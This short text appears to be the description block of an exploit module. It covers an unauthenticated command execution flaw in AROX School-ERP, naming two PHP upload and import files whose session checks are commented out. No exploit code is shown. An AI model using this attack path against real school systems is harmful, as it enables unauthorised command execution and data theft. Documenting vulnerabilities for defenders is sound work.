        This module exploits a command execution vulnerability in AROX School-ERP.
        "import_stud.php" and "upload_fille.php" do not have session control. 
        Session start/check functions in Line 8,9,10 are disabled with slashes.
        Therefore an unathenticated user can execute the command on the system.
